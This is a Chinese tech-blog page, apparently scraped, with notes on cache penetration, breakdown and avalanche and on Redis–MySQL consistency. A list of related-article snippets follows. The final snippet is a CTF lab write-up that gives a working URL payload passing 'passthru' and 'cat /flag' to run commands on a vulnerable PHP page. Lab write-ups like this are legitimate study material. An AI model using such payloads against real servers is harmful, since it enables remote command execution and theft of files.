缓存异常与一致性

news/2025/1/16 4:43:13/
  • 缓存异常:
    • 缓存穿透:请求缓存和数据库都不存在的数据,每次都要查数据库,缓存好像没有起到拦截流量作用。
      • 采用布隆过滤器过滤一定不存在key请求、key逻辑校验,不存在key请求设置缓存key-null
      • 布隆过滤器采用多个hash函数,若请求的key的多个hash值都存在,则可能存在,否则一定不存在
    • 缓存击穿:缓存热key过期,导致大量请求打到数据库上
      • 采用热key续期,重建缓存加互斥锁
    • 缓存雪崩:大量缓存key过期,大量请求打到数据库
      • 采用过期时间设置随机,防止同时大量缓存过期
  • 缓存一致性:
    • 更新mysql后,不管redis,由过期时间兜底
    • 更新mysql后也写入redis,可能有时序性问题,更常用直接删除,下次再加载缓存
    • 通过消息队列订阅mysql的binlog,实现缓存一致性,适用于缓存基本不过期时间的场景

http://www.ppmy.cn/news/1350240.html

相关文章

FL Studio版本升级-FL Studio怎么升级-FL Studio升级方案

已经是新年2024年了,但是但是依然有很多朋友还在用FL Studio12又或者FL Studio20,今天这篇文章教大家如何升级FL Studio21 FL Studio 21是Image Line公司开发的音乐编曲软件,除了软件以外,我们还提供了FL Studio的升级服务&#…

mxxWechatBot流程与原理

大家伙,我是雄雄,欢迎关注微信公众号:雄雄的小课堂。 免责声明:该工具仅供学习使用,禁止使用该工具从事违法活动,否则永久拉黑封禁账号!!!本人不对任何工具的使用负责&am…

RedissonClient妙用-分布式布隆过滤器

目录 布隆过滤器介绍 布隆过滤器的落地应用场景 高并发处理 多个过滤器平滑切换 分析总结 布隆过滤器介绍 布隆过滤器(Bloom Filter)是1970年由布隆提出的。它实际上是一个很长的二进制向量和一系列随机映射函数。布隆过滤器可以用于检索一个元素是…

MongoDB聚合:$unionWith

$unionWith聚合阶段执行两个集合的合并&#xff0c;将两个集合的管道结果合并到一个结果集传送到下一个阶段。合并后的结果文档的顺序是不确定的。 语法 { $unionWith: { coll: "<collection>", pipeline: [ <stage1>, ... ] } }要包含集合的所有文档不…

bat通过ssh增量同步文件夹

要通过 SSH 使用批处理文件&#xff08;.bat&#xff09;进行文件夹的增量同步&#xff0c;你可以使用 rsync 命令&#xff0c;这是一个非常强大的文件同步工具&#xff0c;它支持增量同步。以下是一个简单的批处理脚本示例&#xff0c;该脚本使用 SSH 连接到一个远程服务器&am…

Mac中管理多版本Jdk

1. 首先下载JDK&#xff0c;以jdk8和17为例 2. 打开.zprofile中添加如下内容 #java config export JAVA_8_HOME/Library/Java/JavaVirtualMachines/zulu-8.jdk/Contents/Home export JAVA_17_HOME/Library/Java/JavaVirtualMachines/zulu-17.jdk/Contents/Home#default java …

数据库管理-第149期 Oracle Vector DB AI-01(20240210)

数据库管理149期 2024-02-10 数据库管理-第149期 Oracle Vector DB & AI-01&#xff08;20240210&#xff09;1 机器学习2 向量3 向量嵌入4 向量检索5 向量数据库5 专用向量数据库的问题总结 数据库管理-第149期 Oracle Vector DB & AI-01&#xff08;20240210&#xf…

BUUCTF LKWA

1.访问页面。 2.选择 Variables variable 关卡 3.获得flag http://357dab81-78b8-4d74-976a-4a69dd894542.node5.buuoj.cn:81/variables/variable.php?funcpassthru&inputcat%2Fflagflag{0020ced6-8166-4fa5-87a7-7d93ee687c3e}